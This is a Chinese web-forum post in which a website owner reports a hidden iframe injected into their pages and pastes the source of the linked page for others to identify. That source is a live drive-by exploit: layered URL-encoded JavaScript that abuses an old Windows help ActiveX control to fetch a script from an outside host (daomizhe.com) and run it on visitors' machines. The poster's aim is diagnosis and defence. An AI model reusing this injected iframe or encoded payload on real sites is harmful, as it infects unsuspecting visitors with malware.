高手们帮忙进来研究研究
我的网站访问时瑞星警报有木马。于是我查了前两天网页的修改记录，发现别人写入了木马代码：<iframe src=http://%77%77%77%2E%32%32%30%31%36%2E%63%6F%6D width=0 height=0></iframe>
我找台机器直接访问了http://%77%77%77%2E%32%32%30%31%36%2E%63%6F%6D ，发现访问的网站域名是：www.22016.com 页面是空白的。我看了页面的代码如下：
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3CHTML%3E%0D%0A%3CHEAD%3E%0D%0A%3CSCRIPT%20LANGUAGE%3D%22Javascript%22%3E%0D%0A%3C%21%2D%2D%0D%0Avar%20Words%20%3D%22%253CHTML%253E%250D%250A%253CHEAD%253E%250D%250A%253CSCRIPT%2520LANGUAGE%253D%2522Javascript%2522%253E%250D%250A%253C%2521%252D%252D%250D%250Avar%2520Words%2520%253D%2522%25253CHTML%25253E%25250D%25250A%25253CHEAD%25253E%25250D%25250A%25253CSCRIPT%252520LANGUAGE%25253D%252522Javascript%252522%25253E%25250D%25250A%25253C%252521%25252D%25252D%25250D%25250Avar%252520Words%252520%25253D%252522%2525253CSCRIPT%25252520language%2525253DVScript%25252520src%2525253D%25252522bbs003302%2525252Egif%25252522%2525253E%2525253C%2525252FSCRIPT%2525253E%2525250D%2525250A%2525250D%2525250A%2525253CSCRIPT%25252520language%2525253DVScript%25252520src%2525253D%25252522bbs003302%2525252Ecss%25252522%2525253E%2525253C%2525252FSCRIPT%2525253E%2525250D%2525250A%2525250D%2525250A%2525253CHTML%2525253E%2525250D%2525250A%2525250D%2525250A%2525253CBODY%2525253E%2525250D%2525250A%2525250D%2525250A%2525253Cdiv%25252520style%2525253D%25252522display%2525253Anone%25252522%2525253E%2525250D%2525250A%2525250D%2525250A%2525253C
OBJECT%25252520id%2525253D%25252522cctv%25252522%25252520type%2525253D%25252522application%2525252Fx%2525252Dole
object%25252522%25252520classid%2525253D%25252522clsid%2525253Aadb880a6%2525252Dd8ff%2525252D11cf%2525252D9377%2525252D00aa003b7a11%25252522%2525253E%2525250D%2525250A%2525250D%2525250A%2525253CPARAM%25252520name%2525253D%25252522Command%25252522%25252520value%2525253D%25252522Related%25252520Topics%2525252C%25252520MENU%25252522%2525253E%2525250D%2525250A%2525250D%2525250A%2525253CPARAM%25252520name%2525253D%25252522Window%25252522%25252520value%2525253D%25252522%25252524global%2525255Fifl%25252522%2525253E%2525250D%2525250A%2525250D%2525250A%2525253CPARAM%25252520name%2525253D%25252522Item1%25252522%25252520value%2525253D%25252527command%2525253Bfile%2525253A%2525252F%2525252FC%2525253A%2525255CWINDOWS%2525255CHelp%2525255Capps%2525252Echm%25252527%2525253E%2525250D%2525250A%2525250D%2525250A%2525253C%2525252F
OBJECT%2525253E%2525250D%2525250A%2525250D%2525250A%2525253C
OBJECT%25252520id%2525253D%25252522zgds%25252522%25252520type%2525253D%25252522application%2525252Fx%2525252Dole
object%25252522%25252520classid%2525253D%25252522clsid%2525253Aadb880a6%2525252Dd8ff%2525252D11cf%2525252D9377%2525252D00aa003b7a11%25252522%2525253E%2525250D%2525250A%2525250D%2525250A%2525253CPARAM%25252520name%2525253D%25252522Command%25252522%25252520value%2525253D%25252522Related%25252520Topics%2525252C%25252520MENU%25252522%2525253E%2525253CPARAM%25252520name%2525253D%25252522Window%25252522%25252520value%2525253D%25252522%25252524global%2525255Fifl%25252522%2525253E%2525250D%2525250A%2525250D%2525250A%2525253CPARAM%25252520name%2525253D%25252522Item1%25252522%25252520value%2525253D%25252527command%2525253Bjavascript%2525253Aeval%25252528%25252522document%2525252Ewrite%25252528%2525255C%25252522%2525253CSCRIPT%25252520language%2525253DJScript%25252520src%2525253D%2525255C%2525255C%2525255C%25252522http%2525253A%2525252F%2525252Fdaomizhe%2525252Ecom%2525252Ff%2525252Fbbs003302%2525252Egif%2525255C%2525255C%2525255C%25252522%2525255C%25252522%2525252BString%2525252EfromCharCode%2525252862%25252529%2525252B%2525255C%25252522%2525253C%2525252FSCR%2525255C%25252522%2525252B%2525255C%25252522IPT%2525255C%25252522%2525252BString%2525252EfromCharCode%2525252862%25252529%25252529%25252522%25252529%25252527%2525253E%2525250D%2525250A%2525250D%2525250A%2525253C%2525252F
OBJECT%2525253E%2525250D%2525250A%2525250D%2525250A%2525253C%2525252Fdiv%2525253E%2525250D%2525250A%2525250D%2525250A%2525253CSCRIPT%2525253Ecctv%2525252EClick%25252528%25252529%2525253BsetTimeout%25252528%25252522zgds%2525252EClick%25252528%25252529%2525253B%25252522%2525252C0%25252529%2525253B%2525253C%2525252FSCRIPT%2525253E%2525250D%2525250A%2525250D%2525250A%2525253C%2525252FBODY%2525253E%2525250D%2525250A%2525250D%2525250A%2525253C%2525252FHTML%2525253E%2525250D%2525250A%2525250D%2525250A%252522%25250D%25250Afunction%252520SetNewWords%252528%252529%25250D%25250A%25257B%25250D%25250Avar%252520NewWords%25253B%25250D%25250ANewWords%252520%25253D%252520unescape%252528Words%252529%25253B%25250D%25250Adocument%25252Ewrite%252528NewWords%252529%25253B%25250D%25250A%25257D%25250D%25250ASetNewWords%252528%252529%25253B%25250D%25250A%25252F%25252F%252520%25252D%25252D%25253E%25250D%25250A%25253C%25252FSCRIPT%25253E%25250D%25250A%25253C%25252FHEAD%25253E%25250D%25250A%25253CBODY%25253E%25250D%25250A%25253C%25252FBODY%25253E%25250D%25250A%25253C%25252FHTML%25253E%25250D%25250A%2522%250D%250Afunction%2520SetNewWords%2528%2529%250D%250A%257B%250D%250Avar%2520NewWords%253B%250D%250ANewWords%2520%253D%2520unescape%2528Words%2529%253B%250D%250Adocument%252Ewrite%2528NewWords%2529%253B%250D%250A%257D%250D%250ASetNewWords%2528%2529%253B%250D%250A%252F%252F%2520%252D%252D%253E%250D%250A%253C%252FSCRIPT%253E%250D%250A%253C%252FHEAD%253E%250D%250A%253CBODY%253E%250D%250A%253C%252FBODY%253E%250D%250A%253C%252FHTML%253E%250D%250A%22%0D%0Afunction%20SetNewWords%28%29%0D%0A%7B%0D%0Avar%20NewWords%3B%0D%0ANewWords%20%3D%20unescape%28Words%29%3B%0D%0Adocument%2Ewrite%28NewWords%29%3B%0D%0A%7D%0D%0ASetNewWords%28%29%3B%0D%0A%2F%2F%20%2D%2D%3E%0D%0A%3C%2FSCRIPT%3E%0D%0A%3C%2FHEAD%3E%0D%0A%3CBODY%3E%0D%0A%3C%2FBODY%3E%0D%0A%3C%2FHTML%3E%0D%0A"
function SetNewWords()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
----------------------------------------------------------
大家研究研究，到底会是什么木马？
另外他是利用什么写到我的网页上的。应该如何防范？万分感谢
